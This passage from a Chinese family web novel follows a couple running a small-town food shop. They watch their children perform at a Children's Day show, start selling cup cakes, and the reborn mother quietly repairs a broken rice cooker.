他妹妹那么爱臭美,肯定很喜欢拍照。 与此同时,另一边,主持人报幕接下来登台表演的是学前中班时。 在家长区赵如月跟宁绍明也带着期待的眼神,等着看女儿的表演。 在台下的他们,等到女儿上台时,也看到了一棵嘴角沾着奶油的小树在台上摇摆。 他们没问过女儿要表演什么,只知道她特别喜欢这个角色,还给他们说要保密。 这会儿他们才知道,她表演的竟然是一棵树…… “挺好……别人一看就知道,这是一颗快乐的小树,她能给在场所有人传递快乐,”宁绍明看着台上随着音乐摇摆的小树,半天找到一个夸奖的角度,憋出一句夸奖的话,“我们闺女最喜欢绿色,能演绿树确实特别合她心意了,其实演什么不重要,孩子高兴最重要。” 宁绍明看站在台子边缘也认认真真、开开心心地表演,越说越真心觉得自己闺女还挺豁达。 有些小孩演不到重要角色,觉得老师不重视自己可能还要闹呢。 “你也挺好,总能找到夸孩子的点。”赵如月觉得这方面自己应该跟他学学。 要是以前,她就要说我们闺女长得那么好,性子也活泼,说话利索、脑子聪明还听得懂人话,怎么不争取一下主要的角色了。 宁绍明发自内心觉得:“我们家孩子本来就没有不好。” 赵如月突然有点担心,他这样没底线,以后会不会把孩子惯坏。 她这辈子也是想当个慈母的,这当爹的也要当个慈父,那以后家里谁来装那个唱白脸的? 几分钟后,学前中班表演结束,两人想着没给女儿带水,怕她吃完蛋糕又表演太口渴,就带着水又跑到后台,想给她喂点水。 结果刚到后台,就看到儿子手上在给闺女擦嘴角的奶油,嘴上在念叨妹妹:“你个马大哈、小马虎!我一个没注意到你,你就嘴角沾着奶油上台了,上去前怎么不自己检查一下,哪有小树长奶油的?” 宁时夏大大咧咧地抹了一把嘴巴,跟她哥保证:“我下次一定检查。” “下次就是明年,你肯定早忘了。” “才不会,我肯定记得。” “那我可等着到时候看看了,要是还这么马虎,看我不收拾你!” “我宁小树,绝对不会给你这个机会!” “得了吧,你就会嘴上说得厉害。” 赵如月看到这一幕,心里那点担忧瞬间消失,自嘲自己又在杞人忧天,担心一些不可能会发生的事。 兄妹俩拌嘴完,终于注意到爸爸妈妈来了。 赵如月和宁绍明给他们一人留了一瓶水,叮嘱他们一定别忘了喝,就要回家长区。 宁时秋却拉住赵如月的袖子:“妈妈,我们老师有个相机,她说谁想拍照留念可以找她,不过洗照片要钱,一张照片五块钱,我们一起拍照留念吧?” 他期待地看着父母,心里的想法很显然跟他爸一样,很想把第一次上台的画面记录下来,也想跟家人一起拍照。 赵如月不由想起被自己和宁绍明都忽略的事。 这年头好像挺流行每年拍一张全家福,也不知道什么时候流行起来的,反正很多人家都热衷于去拍这个。 她竟然把这事给忘了,要是每年都能记录一次,以后是多美好的回忆啊。 “那太好了!”赵如月还在出神,宁绍明已经高兴地答应了孩子拍照的要求,“可惜小夏表演完了,要不然还能拍一张小夏在台上表演的样子。” 宁时夏听到可以拍照已经很高兴了,她满不在意地挥手:“没关系,我可以等别人表演完,再扛着小树道具上台,让哥哥的老师帮我补拍一张,现在先拍哥哥在台上说话的照片,我们班的同学都夸我哥帅气呢!” 宁时秋有些小得意地说道:“我刚刚已经让老师给妹妹拍了,一共四张。” 宁绍明拍了拍儿子的肩膀夸他:“还得是我们家小秋做事周到,那等会儿就让你们老师先给你拍几张,我们全家一起的照片,等晚点你主持结束了再一起拍,要不你还得惦记着什么时候轮到你上台。” 赵如月和宁时夏也冲宁时秋竖起大拇指:“真棒!” 宁时秋高兴地跑去找老师了。 光他们一家要的照片,加起来大概都有十几张,纪慧萱也很高兴。 今晚就算没有别的学生要拍照,她赚到的也不少了。 这个开门红,也让纪慧萱对自己的副业有了很大的信心。 六一晚会结束,舞台的布置暂时没撤走,她就借着台上的布置,让给宁时秋一家人站在舞台上拍照。 先每人拍了张单人照,一共四张。 又给两个孩子和两个家长分别拍了一张双人照,接着才是全家的大合照。 看到他们家在拍照,没走的家长和学生好奇地在旁边围观。 小喇叭宁时夏瞬间自动开启宣传功能,成为了纪慧萱的免费小宣传员。 到处叭叭地跟人说:“这是我们第一次上舞台表演,当然要拍照留念啦!纪老师说啦,洗一张照片五块钱,不洗照片不要钱。” 宁时秋班上有些同学也没走,围在她身边问:“拍了照片不洗出来,我们不是白拍了?” 宁时夏解释:“纪老师说可以通过电脑网络上的那个什么丘丘?或者那个什么电子邮箱把电子版发给你们,不过你们也要有丘丘和电子邮箱才能收到。 别问我丘丘和电子邮箱是什么,我也不知道,纪老师刚刚跟我们说了,我没听懂,我哥好像也没听懂。 纪老师说,要等到上初中,学到信息技术课才能懂,那么难的东西,你们现在问了也白问。” “对哦,连你哥都不懂,那我们更不懂了,我不要那个什么不要钱的电子版,我要洗出来的照片,”宁时夏的好朋友刘俊华第一个表示自己也要拍照,“我也是第一次上台表演呢,也要拍照留念!” 他表演的是一朵太阳花,这会儿衣服还没换,直接把太阳花的头套往头上一套。 再把叶子的套子套在两只手上,胳膊一缩,又成为一朵可可爱爱的小太阳花了。 刘俊华就这么冲过去找纪慧萱:“老师我也要拍照。” 那句话仿佛一个开关。 在他说完后,一群小孩也跟着冲过来,纷纷围着纪慧萱喊:“老师老师,还有我!还有我!我也要拍照留念!” 一表演结束就把道具扔掉的小孩,现在一时半会儿找不到自己的道具,急得直掉眼泪。 现场很快乱成了一锅粥,纪慧萱听着这些小孩嚷嚷的声音,听得头都大了。 幸好这些孩子的家长都在,各家家长把自家的孩子拉过去哄一哄,纪慧萱再给要拍照的孩子拍个顺序,终于没那么乱了。 不过这些都跟宁家没关系了,他们已经拍好照片,还选好了要洗哪几张。 他们全家选了足足二十张,交完五十块钱定金后,心满意足地离开学校回家去了,只等过几天照片洗好送来。 宁时秋和宁时夏回去的路上,一路讨论着要买什么样的相册和相框。 最后他们决定去一趟县城,到了县城再一起商量着,挑一个最最好看的相册,来装今天拍的照片。 至于相框,赵如月跟他们说:“其实你们也可以自己做。” 然后她给两个孩子介绍了好几种,可以自己做的相框材料。 有捡来的树枝做的相框,还有自己用硬纸壳做的相框,纸壳上可以画自己喜欢的图案。 当然家里不用的塑料壳,也能改一改做成相框,只是可能需要一点家长的辅助。 还有一次性杯子、一次性吸管、碎瓦片、小石子、小砂砾、雪糕棍、小木条、铁丝网、麻绳等等。 几乎一切东西都能废物利用,只看他们的想象力够不够丰富。 不过赵如月说完就有点后悔了,觉得自己真是不嫌累,竟然没事给自己和宁绍明找活干。 本来现在的家长,根本不需要帮孩子做手工来着…… 第85章 六一儿童节过后,不出意外的,又有人来店里问那天晚上的蛋糕。 这次赵如月和宁绍明应付客人的经验充足,提前做了准备。 特地在店门口挂了个牌子,上面写着:新品杯子蛋糕明天上新,新品上市有优惠,敬请期待! 牌子一挂出去,还能起到一箭双雕的效果。 一个是专门为杯子蛋糕来的人看到牌子,就不会再问,也省得他们一天要重复回答同一个问题无数次。 另一个,是可以提醒不知道店里将会上新杯子蛋糕的人,这些人看到牌子就会知道,店里准备要有新品上市了。 他们家的东西,味道一向不差,这些人知道有新品,免不了好奇一下,多引起一些人的好奇心,就能让店里的新品多一些潜在顾客。 毕竟昨晚知道有杯子蛋糕的人不多,吃到杯子蛋糕的人更少,加强宣传是非常有必要的。 六一儿童节的第二天,两个孩子放假,赵如月和宁绍明忙过上午后,也特地跟着两个休息半天。 下午这段时间,宁绍明打算把店交给宁时春,然后他跟赵如月一起带着孩子去一趟县城玩。 两个孩子年前跟他们去县城玩的那次,在县城认识了好几个朋友。 上次带他们去县城买衣服,来回有点匆忙,他们没能跟朋友玩尽兴。 宁时秋和宁时夏就跟朋友约好了,六一去县城找他们玩,赵如月为此还特地去找她堂哥借了摩托车,以免晚上错过末班车回不来。 今天去之前两个孩子还特地去小卖部,给县城的朋友打了电话,提醒他们一声自己要出发了。 两个孩子计划好,去到县城,先去好朋友家玩一会儿,再出去逛街买东西。 宁绍明知道自家孩子要去朋友家做客,也做了一点杯子蛋糕,让两个孩子给他们的朋友带去分享一下。 虽然昨天已经把奶油用完了,但是店里因为每天都做热狗面包,蛋黄酱管够。 豆蓉、栗子蓉和红薯泥昨天也没全部用完,全放在冰柜里冷藏着,那些东西不容易坏,拿出来直接就能用。 即使没有奶油,仅用这几种食材做杯子蛋糕也足够了。 宁绍明还特地试了一下,用做铜锣烧饼皮来代替那层蛋糕胚。 这次他给孩子们做的杯子蛋糕,就是分别做了用蛋糕胚来做的和用铜锣烧饼皮来做的,两种不同的杯子蛋糕。 宁绍明做好之后,跟赵如月一起分了一个用铜锣烧饼皮做的杯子蛋糕尝了尝。 尝完感觉味道也不差,只是铜锣烧的饼皮会偏甜一些。 他们两个都觉得蛋糕胚做的、不那么甜的杯子蛋糕更好吃。 铜锣烧饼皮做的杯子蛋糕,味道虽然也可以,但甜得让他俩感觉有点齁了。 宁时秋和宁时夏,还有比较嗜甜的宁时春跟他们夫妻俩口味相反,觉得铜锣烧饼皮做的更甜更好吃。 他们三个人还强烈建议,明天多做这种杯子蛋糕卖。 宁绍明没答应,对待生意他不得不谨慎些:“明天先各做一半看看客人的反应吧,如果客人跟你们一样,那以后就多做你们喜欢的那种。” 两个孩子到了县城好朋友家,先在朋友家玩了一会儿,一起吃蛋糕,玩游戏。 吃完蛋糕,他们县城的好朋友就熟门熟路地带着他们出去,逛文具用品店和精品店。 帮他们挑选相册,还有一些做相框的胶水之类的辅助材料。 一群小孩子付钱的时候还知道跟老板讲价,机灵得很。 家长们就跟在后面看着,也不多说话,只要不出意外就随便他们逛。 赵如月和宁绍明本来还担心,县城的孩子会被管得比较严。 就像宁老二的女儿,就成天被管着不让出门跟人玩,大部分时间只能待在家里看书、写作业,看电视都被十分严格地控制时间,超过一分钟都不行,撒娇也没用。 赵如月听女儿说,她二堂姐偷看电视被发现,还会被臭骂一顿,考试没考前三也会被骂,骂得可难听,甚至有时候会被打。 这可让赵如月诧异得不行,她一直以为作为老师的老二两口子,养孩子会更科学来着。 连小学三年级都没念完的大嫂都没打过孩子呢。 幸好她两个孩子在县城的那几个朋友家,没有那样的倾向,那几家的家长挺和善。 她刚开始带孩子过去时,因为跟人家不熟,还挺拘谨,后面聊聊孩子、聊聊现在的物价,再聊聊镇上和县城里的新鲜事,不知不觉就熟悉起来了。 跟着孩子们买完相册和做相框的辅材后,一行人路过批发市场。 那几个家长说要六一前工作太忙,没来得及给孩子买衣服,想带孩子去批发市场三楼看看。 赵如月一家四口正好也有东西要去批发市场买,就一起进去了。 到了三楼,那几个孩子的家长定下最多买一件衣服一件裤子一双鞋后,就让自家孩子随他们自己的喜好挑选衣服去。 赵如月让宁时秋和宁时夏也去选,两个孩子却摇头说,自己六一前买过衣服了不想买,她就没再劝,只让他们又想买了或者想买别的再跟自己说。 她在旁边看着儿子和女儿帮朋友挑选衣服。 看着看着,发现有个孩子选衣服的眼光比自己还差,选的那衣服丑得连她都不忍直视,那孩子的家长也随她。 不像有些家长,表面上说让孩子自己选,最后又不买孩子选的衣服,逼着孩子买家长自己喜欢的。 玩的过程中也有两个孩子跟宁时夏差不多大,但完全没有出现孩子哭闹打滚的情况。 一路看下来,赵如月也发现了,那几个家长是比较尊重孩子想法的。 赵如月自己家的孩子就非常有主见,也难怪自家孩子能跟那几家的孩子成为朋友。 他们带着孩子去三楼看衣服时,宁绍明停在了批发市场的一楼。 来到之前买过几次的店,定了比之前更多的淡奶油和牛奶。 他顺便还在卖菜的摊位上,买了可以做芋泥的大芋头,在卖杂货的店里买了三大袋子的糖。 之前家里做芋泥用的是那种本地种的小芋头,吃起来是粘性比较大的那种口感,不够沙,也不够绵密。 赵如月说这种芋泥不够好吃,那天也是临时尝试才用的小芋头,以后最好用大芋头,更好吃。 买的三袋糖,一袋是红糖,另外两袋是白糖。 红糖用来做蜜红豆和红豆沙,白糖在做蛋糕和其他豆蓉、栗子蓉、芋泥、红薯泥的时候都用得上,所以买得多一些。 红豆、绿豆、板栗和红薯在镇上都能买得到,而且比在县城买更便宜。 除了食材,这一次他们还买了不少带盖的杯子,用来装杯子蛋糕。 毕竟要卖给别人,总不能一直用纸碟子盖着,也要做得更好看,更干净卫生点。 陪着孩子高高兴兴地玩了一天。 回家后两个孩子早早睡下,大人们还得提前做一些明天要卖的东西。 像蜜红豆、豆沙、芋泥、红薯泥还有蛋黄酱这些,在家里有冰柜之后,就可以提前做好放进冷藏那一格。 肉也可以提前腌制好,放一晚上,让肉更加入味,第二天他们就不用那么早起来准备了。 第二天早上起来,宁绍明指点着教宁时春熬汤,然后又带着他做面包状的馒头。 做馒头看起来很简单,对宁绍明来说也不难,他以前就很快学会了,并且几乎没有失手过。 可是对于很多南方人来说,做馒头只是看起来很简单而已,想要做好馒头,真的不是一件很容易的事。 宁时春现在也不敢说自己一定能把馒头做好,要是他把一锅馒头做毁了,今天的热狗面包就不能卖了。 他对此心理负担有点大,即使宁绍明跟宁时春说,他已经可以单独上手了,宁时春也依然不敢自己来。 宁绍明也不好逼他,只能每天自己蒸馒头,再把炸馒头和组装热狗面包的活交给他。 不过像做铜锣烧饼皮这种,不会一次毁掉一整锅的东西,宁时春倒是很快就敢一个人单独上手做了,也做的很不错。 宁绍明就把这个也交给宁时春,而宁绍明自己则去做蛋糕胚,打发奶油,组装杯子蛋糕。 有客人来得比较早,要吃米粉他就放下手里的东西,去给客人做客人点的东西。 一般下午人少的时候,才会把灶台交给宁时春,让他从容一点练手。 最早一波来吃早饭的人一般是赶早的司机,还有要坐第一趟公交车去县城的人。 宁绍明还以为这些人大概率不会买杯子蛋糕,毕竟都不是小孩子了,要买一般也是下班后再买回家给孩子吃。 没曾想,镇上开第一趟公交车的司机在吃完自己的早餐后,就问在前台收钱的赵如月:“小夏妈妈,你家是今天开始卖杯子蛋糕吧?” 赵如月也没想到这么快就有人买,忙回答:“是今天开始卖,你现在就要买啊?不是还得开车去县城?” 司机用有点无奈又有点宠溺的语气说:“还不是家里两个小讨债鬼闹的,昨晚上千叮咛万嘱咐,说你家小夏说了,你们第一天试着卖新品,可能不会做很多,他俩就让我一定要早点买,不然晚点就买不到了。” 赵如月没想到还有这回事,她闺女倒是真挺了解她跟宁绍明,他们今天还真是没准备很多。 刚开始上新都这样,宁愿少买一点,也不愿意剩下。 赵如月问:“你车子没那么快开吧?我去看看我老公有没有做好。” “还有十分钟才开。” 赵如月打开冰箱看了一眼,里面已经有十来个杯子蛋糕了。 现在天气热,蛋糕做好之后都是先放到冷藏里,免得奶油化掉。 她把司机叫过来看:“做好了十几个,有好几种口味,你来看看选哪个?” 宁绍明特地买的不同颜色的杯子,每种颜色和图案固定代表一种口味,已经写好标签,贴在盛放杯子蛋糕的塑料框上了。 司机早被家里两个孩子叮嘱过好几遍,昨晚做梦都是杯子蛋糕,他很快就选好了:“先要这四个,一共多少钱?” 杯子蛋糕成本比较高,定价也有点高,单独买一个要八毛钱,买两个有优惠价一块五。 “四个杯子蛋糕一共三块钱,今天新品上市送福利,再送你两个铜锣烧。”赵如月说着,手上已经把蛋糕给他装好递过去。 送的铜锣烧也一起打包好放在里面了。 司机高兴地接过来说道:“这个我家孩子也爱吃,幸好送了两个,要是只送一个,带回去他俩一准打起来,哪个哭了都难哄得很。” 赵如月笑道:“也是你对孩子好,一次给他们买四个,要是只买两个,就只有一个赠品了。” 司机走了之后,还在吃早餐的人也加快了速度,他们可都要赶这个司机开的这趟车。 几个客人里,也有三个人买了杯子蛋糕。 甚至有一个客人看过杯子蛋糕的样子,又买了一个尝过味道后,一次性买了十六个。 那客人声音带着些窃喜:“我正为今天去县城亲戚家带什么发愁呢,他家有孩子,送这个正好,看着不比县城面包店里的差。” 最重要的是,这不但好看,它还很便宜,那个量上来了,用来送礼就很拿得出手。 而且现在有福利活动,买两个杯子蛋糕,送一个铜锣烧。 他一次买十六个,店家还送八个铜锣烧,那铜锣烧他吃过,味道也很好。 这么一凑,相当于送了两样礼,够体面了,十六和八这两个数字也吉利。 只是这个客人一次性要的杯子蛋糕太多,宁绍明只提前做好了十几个,刚刚又卖出去了几个,剩下的就不够十六个了。 客人要赶第一班车,催得急,可店里又来了要吃米粉的客人,宁绍明要做米粉走不开,赵如月得招呼客人、收钱,还得见缝插针地收拾桌子,也走不开。 只好让正在炸馒头的宁时春先把油锅下的火关了,先去组装蛋糕。 宁时春一直着急起来容易慌了神,有点手忙脚乱的,有一个杯子蛋糕还放错了中间的小料。 幸好宁时秋和宁时夏醒了,也自己换好衣服洗漱过。 出来一看,店里那么忙,他俩都不用问,也不用人说,马上很自觉地带上手套,帮着一起组装蛋糕。 宁时秋虽然比宁时春小,却跟个小老头似的,自带有条不紊的稳重气质。 宁时春站在他身边,也被感染到,很快稳住了情绪,淡定下来,没再出过错。 人多力量大,材料又是提前准备好的,客人要求的十六个杯子蛋糕很快组装好,没耽误他赶车。 随着小学生起床出门,店里的人越来越多,越来越忙。 买杯子蛋糕的人更多了,虽然每个人买的都不如刚刚那个客人多,但是架不住人数多,需求量直线上涨。 宁时秋兄妹俩看店里那么忙,干脆不着急吃早餐了,先在后面帮忙组装杯子蛋糕。 两个人分工合作,速度还挺快,一直忙到将近早读的时间。 店里人少了点,赵如月才给他们一人塞了一个热狗面包和一个杯子蛋糕当早餐,让他们赶紧去学校。 好在宁时秋有自行车,载上妹妹,一路狂踩自行车,总算在早读铃声响起前赶到了教室。 带去的早餐只来得及匆匆啃两口,早读铃声就响了。 店里,宁绍明和赵如月在这个早上,久违地再次感受到了,当初开业第一天,集日撞上学生返校日的累。 赵如月喝了一口水,一早上嗓子说话都说得有些沙哑了:“得亏今天不是初中生返校的日子,要不然我们今天能累到腿抽筋!” 他们给杯子蛋糕的定价高了点,还以为杯子蛋糕就算受欢迎,买的人也不会那么多。 “镇上人现在那么有钱了吗?竟然给孩子那么多零花钱,”宁时春想起那些小学生给钱那架势,还有点不真实感,“以前我小时候,一个星期的零花钱都不见得能有五毛,就算兜里有个几毛钱,也不一定舍得这么花。” 宁绍明听到宁时春的话,端着一杯放了胖大海的水,走出厨房,递给赵如月。 然后也跟着感慨:“说明现在镇上人的日子越来越好了,大家日子过得好,我们做生意的挣钱才不难。” 赵如月点头说:“是这个道理,小春你要抓紧时间加油学手艺了,现在做生意的手艺人少,开店挣钱还不算难,等以后开店的人越来越多,竞争越来越大,再想挣钱就得花更多精力,想更多方法,你早点出师,不管是在镇上开店还是去县城都挺好。” 以后什么开通外卖平台、找托排队、找博主探店、在网上营销把自家店做成网红店等等,五花八门各种各样的手段。 她光是想想都觉得那些开店的店家真难。 赵如月的话,让宁绍明和宁时春听着都感觉有些意外。 他们估计没料到她就这么随意地把这事说出来了。 虽然以前她也说过类似的话,但宁时春以为那些话多少带着点客套,真实想法估计是希望他去别的镇子开店,毕竟去县城开店需要的本钱太多了,去别的镇还比较容易实现。 宁时春在鹏城学到的那点东西,只是基础的皮毛,真本事都是宁绍明教的。 他教宁时春手艺,可不像那些拈轻怕重,担心教会徒弟饿死师傅的那些人,宁绍明是一点都没藏着掖着。 如果宁时春在镇上开店,是真有可能会抢走一部分生意。 宁时春也是个比较愣的,他心里这么想还真问出来了:“三婶,你不怕我在镇上开店,把生意抢走啊?” “怕什么,我之前不是说过么,这钱不是你挣也是别人挣,便宜别人不如便宜自己人,你当我说着玩的?” 赵如月想利用宁时春挡住老宅那边的糟心事是真,希望他能独立过得好一点也是真,反正这又不冲突。 “你的本事都是你三叔教出来的,目前看来,你想青出于蓝而胜于蓝难度很大,我不是不怕你抢走生意,是相信你三叔的本事。” 这话说的,宁绍明听完嘴上谦虚地说着:“我也只是比小春会的多了点,要继续学的东西可不少,以后还得继续努力继续学。” 实际他心里已经美得整个人都要飘起来了。 不过他也没真飘了,说要继续学习,还真在再次去县城采购食材的时候,去书店淘回来好几本菜谱。 不那么忙的时候就看一看,然后先是照着菜谱上的步骤做菜,让家人尝尝味道怎么样。 买不到的食材他就尝试着用别的东西代替,按照菜谱把菜做出来后,他还会试着改进。 一连好多天,他们家的晚饭都能吃到不同的菜,而且他做出来的菜很少有难吃的,让每天的晚饭都多了不少趣味。 这天宁绍明又在研究新菜,这一次的新菜要用电饭锅。 他们家因为要用电饭锅做蛋糕胚,就又重新买了一个。 新买的那个专门用来做蛋糕胚,旧的继续用来煮饭。 这个旧的电饭锅是宁绍明结婚后买的,用了好几年。 他先提前把饭焖好,然后把焖好的饭盛出来,腾出电饭锅。 然后把腌好的梅头肉放进电饭锅,按下煮饭键。 食谱上说,东西放进去,按下煮饭键就可以不用管了。 他正准备去把今晚要吃的青菜洗了,就听到电饭锅传出砰的一声,声音不大,但指示灯灭了。 “咦?怎么回事,难道坏了?” 宁绍明把电饭锅的插头拔出来,把电饭锅上上下下、里里外外地看了一遍,也看不出怎么回事。 赵如月接了孩子回来,看他抱着电饭锅发愁,旁边还放着一盆生肉,感觉有些意外。 这几天她去接孩子,可是一回家就能吃到热饭热菜了,今天这是怎么了? 宁绍明听到动静回过神,放下电饭锅:“本来想用电饭锅给你们做蜜汁叉烧吃,这电饭锅不知道怎么,竟然坏了,我也不会修,今天只能吃蜜汁煎肉了,吃完饭我带去修理铺看看,还能不能修好。” 赵如月走过去,拿起电饭锅,对他摆了摆手:“你先煎肉去吧,我看看这电饭锅怎么回事。” 第86章 赵如月把电饭锅翻过来,头朝下,底部朝上固定好,看了一眼固定底座的螺丝。 转头对儿子说:“去小仓库,帮妈妈把那个绿色的塑料小箱子拿来。” 那小箱子原本是她娘家有个亲戚以前用来装麻将的箱子,后来那副麻将被亲戚家孩子弄丢几个,没法用了。 剩下的麻将让孩子当玩具玩,丢得越来越多,这箱子用不上了,亲戚要扔掉的时候,赵如月刚好在,就要回来装家里零零碎碎的小零件和工具。 宁时秋很快把小箱子搬来了。 赵如月打开箱子,找到一个合适的螺丝刀,把电饭锅的底座拆下来。 这种老式电饭锅结构并不复杂,赵如月简单地检查了一下,很快就找到了电饭锅不通电的原因。 “保险丝烧了,我去修理店买一个回来,换上就行,”她拍了拍手上的灰尘,叮嘱两个孩子,“东西放这里你们可别乱动,也别让其他人动,要不然少了零件就麻烦了。” 两个孩子认真点头,就坐在饭桌边上帮她守着。 宁绍明做好蜜汁煎肉,端着从厨房出来,想把肉放到桌上,他俩都不让:“妈妈说了,谁也不许动。” 宁绍明没办法,只好又把肉端回厨房放着。 他也看到了桌上被拆开底座的电饭锅:“你们俩拆的?” 两个孩子都摇头。 宁时秋说:“不是,是妈妈拆的,妈妈说那什么烧了,得换。” 宁时夏补充:“保险丝。” “她竟然会修电饭锅?以前她好像没学过啊。”宁绍明以前可从来没见过她修东西。 宁时夏一副理所当然的样子:“我妈有啥不会呀?我外公都说她是全家最聪明的孩子。” 宁绍明点头,他以前也听老丈人说过:“你外公确实也这么跟我说过,但你妈确实也没学过修电器。” 宁时夏无条件肯定妈妈:“我妈那么聪明肯定一看就知道呀。” “修理电器也是一门技术,可不是靠聪明就能看会的,得专门学,要不然街上开的修理铺怎么挣钱?” 宁时夏表示自己年纪小,没听不懂爸爸说的那些。 她坚持自己的观点:“别人不能看会,我妈妈那么厉害,肯定能!” 宁绍明以为孩子太崇拜自己妈妈,觉得妈妈无所不能,也不再跟孩子争论,好笑地哄道:“好好好,她最厉害,肯定能看会。” 反正现在他能挣钱,一个电饭锅对家里来说也不算贵,随便老婆折腾,真折腾得去修理店也没法修好,再买一个新的回来就是了。 赵如月还没回来,宁绍明转身又回厨房多做了一道甜品。 他没想到,赵如月真能看会。 宁绍明做好甜品,从厨房出来时,赵如月已经回来了。 正给电饭煲换保险丝。 换上后把底座原样装回去,往电饭锅内胆里加点水,通电一试,还真修好了。 宁绍明惊喜地围着修好的电饭锅看了一圈:“你还真会修啊!什么时候学的?” 赵如月听到他的话,心里一咯噔。 她刚才只想着电饭锅只是不通电,八成只是小毛病,修一修就不用买了,过日子当然是该省省该花花,能花一块钱办成的事,没必要花一百。 被问起才意识到自己以前没学过,是上辈子看网上的那些修理小视频自己跟着学的。 现在事情都干完了,没办法补救,只能强撑着不露馅,用很轻松的语气说:“这不难啊,我以前看别人修过,一看就会了。” 宁时夏立刻在她爸面前支棱起来了:“看吧看吧,我就说我妈一看就会!我妈简直就是个修理天才!” 赵如月本来还有点紧张,听到女儿用那么夸张的语气说话,心里瞬间放松下来,没忍住笑了。 “我要是天才,你们早就能搬到大城市里,住上高楼大厦,天天去少年宫学才艺了,还用得着跟我们住镇上的平房?” 没想到儿子也跟着女儿瞎起哄:“老师说,妈妈这样长大后才发现自己在某方面特别有天赋的人,叫大器晚成。” 宁时夏猛点头:“没错没错,而且我才不要去大城市住高楼大厦,锯子哥就住在很高的楼,他爸爸妈妈都忙得一天到晚不着家,一回家还吵架,他天天只能跟保姆住在一起,我才不要跟保姆住,我要跟爸爸妈妈和哥哥住在一起。” 宁时夏说的锯子哥赵如月也认识,叫姚据,宁时夏以为姚据的据,是锯子的锯,就管他叫锯子哥。 是她和她哥在县城认识的小朋友,年纪比宁时夏大一点,刚上小学一年级。 宁时夏说的这些,宁时秋都不知道:“锯子什么时候跟你说的?我还以为他是欢欢的邻居。” 欢欢也是他们在县城认识的朋友,跟赵如月一个姓,刚知道的时候,她还觉得挺有缘分,不过他们只是碰巧都姓赵,并没有亲戚关系。 宁时夏说:“就是我们去找他们玩那天啊,他带我去文具店隔壁买棒棒糖的时候跟我说的。 锯子哥说他是欢欢的表哥,他家有两个房子,一个在县城,就是欢欢家隔壁那个房子,一个在市里,市里那个家就是很高很高的、有电梯的楼。 他还说那个楼像一个大笼子,他不喜欢,更喜欢县城这个,虽然县城这个房子没有电梯,要爬楼梯,但是也觉得县城这个房子更好,他都不想回市里上学了。” “锯子好可怜啊……怪不得他总说想转学回县里的学校。”宁时秋还不太懂,现在能买得起市里的高层电梯房意味着什么。 他跟妹妹一样,只觉得不能天天见到爸爸妈妈,真是一件特别令人难受的事。 保姆又不是自己家的人,为什么要跟保姆住在一起? 修理的事被两个孩子的话题岔过去,宁绍明没再问,赵如月松了一口气。 然而她这口气还是松得太早了。 傍晚两个孩子出去玩够了回家,还带回来一个人。 赵如月坐在家门口乘凉,看到她女儿牵着她老娘的手往家这边走。 还听到女儿高声地跟她外婆炫耀:“外婆你肯定不知道,我妈妈现在是宇宙无敌第一天才修理员了!” 赵如月闻言捂住胸口,突然感觉有点心梗。 她已经想象的出来,自己闺女在她朋友面前是如何吹嘘自己了。 更令她头疼的是,她老娘还真信了,正在问外孙女:“你妈真把你家坏掉的电饭锅修好了?” “真的,我保证比珍珠还真!”宁时夏一本正经地夸大其词,“我妈修那个电饭锅,花了不到一秒钟!” “当时她挥舞着一个闪着星星的棒棒,歘欻欻几下,把电饭锅拼上去,拼好最后一块的时候,电饭锅发出一道金光,叮叮噔噔叮叮噔——电饭锅就被修好了!” 赵如月听到宁时夏甚至还给她说的金光特效配了个音乐,也不知道从哪个动画片里听来的。 祖孙二人一路热火朝天地聊到院子前。 邓细妹还真问赵如月:“你那修好的电饭锅在哪?拿出来让我看看呗,我记得你那电饭锅跟我用的那个一样,不知道能不能把我那个也修修,我那个坏了有一段时间了,最近都是用铁锅煮饭。 铁锅煮饭好吃是好吃,底下还有锅巴,就是太麻烦了,不如电饭锅方便,得时时看着火,控制火候,不然一个不注意就容易把饭煮糊,我都不敢分心去干别的太久。 前几天我带去修理店问,那边说修好要五十块钱,我的老天,那么贵!我再加点钱够买个新的电饭锅了。” 她想着,家里这电饭锅用那么多年了,花五十块钱修,还不如买个新的用,只是花那么多钱,难免会心疼,就一直拖着了。 赵如月真是哭笑不得:“妈,孩子瞎说的话,你还真信啊?” 邓细妹当然知道外孙女的形容有点夸张,但是孩子说得高兴,她听得也高兴,夸张一点怎么了。 只要电饭锅只真的被修好了不就行了。 赵如月:“让你外孙女带你去看吧,明天你把你那个拿来,我看看能修就修,修不好你可别赖我。” “那感情好,我上午过来,正好能帮你们擦擦桌子洗洗碗。”邓细妹知道赵如月两口子每天开店很忙。 有时候忙得水都顾不上喝一口,她也想过来帮把手。 可宁绍明的父母都没来,也不知道那老两口怎么回事,竟然一点都没帮衬。 他们都不来,邓细妹自己来的话,总觉得不太好,怕被人说闲话,只能偶尔来一回,还不敢来得太频繁,免得别人说宁绍明亲近岳父岳母,冷落他自己父母,不孝。 赵如月看着她妈把那电饭锅里里外外摸了一圈,也没摸出什么名堂来,压根看不懂哪里坏了又被修好了。 但就是要看一看摸一摸,同时还跟外孙女一起吹吹牛,然后抬头一看,天色不早,才意犹未尽地回家去了。 宁时夏依依不舍地送走她外婆,才拉着妈妈要妈妈给自己洗澡。 平时洗完澡,宁时夏会直接回房间,看她的小人书,看一会儿困了就很自觉地爬到床上睡觉。 今天晚上却一反常态,拉着赵如月,非要妈妈陪。 第87章 赵如月知道女儿一般不会瞎闹,可能是有不想让爸爸和哥哥知道的悄悄话想跟自己说。 这太难得了,以往两个孩子遇到什么事,他们俩商量着就能解决了,很少需要家长出主意。 家长起到的作用,只有帮忙干一些他们两个孩子太小,没法干的活。 这样是很让人省心没错,可作为家长,在很欣慰孩子会独立、动手能力强的同时,难免会有点挫败感。 有时候真不是孩子离不开家长,而是家长离不开孩子。 曾经赵如月意识不到这一点,现在意识到了,可现在女儿突然缠着自己跟她一起睡,她还是难免会因为被需要,内心有种被需要的满足感。 不过她还没洗澡,对女儿说道:“你回房间等妈妈,妈妈先去洗澡。” “好,”宁时夏听话地点头,但还是不放心地叮嘱,“妈妈一定要来呀,爸爸不许跟我抢妈妈!” 宁绍明听了好气又好笑:“这是我媳妇儿,我们先认识的。” 宁时夏一顿,想了想爸爸说的确实没错:“好吧,是我跟你抢,但是我就抢一天。” 她伸出一根短胖的食指,认真地比了个一。 宁绍明好笑道:“行,让你抢一天。” 赵如月不管这幼稚的爷俩,提着装衣服的小篮子往卫生间走。 洗完澡把自己的衣服洗干净,晾在晾衣杆上。 两个孩子的衣服,宁绍明刚刚洗完澡,已经顺手搓洗干净晒起来了。 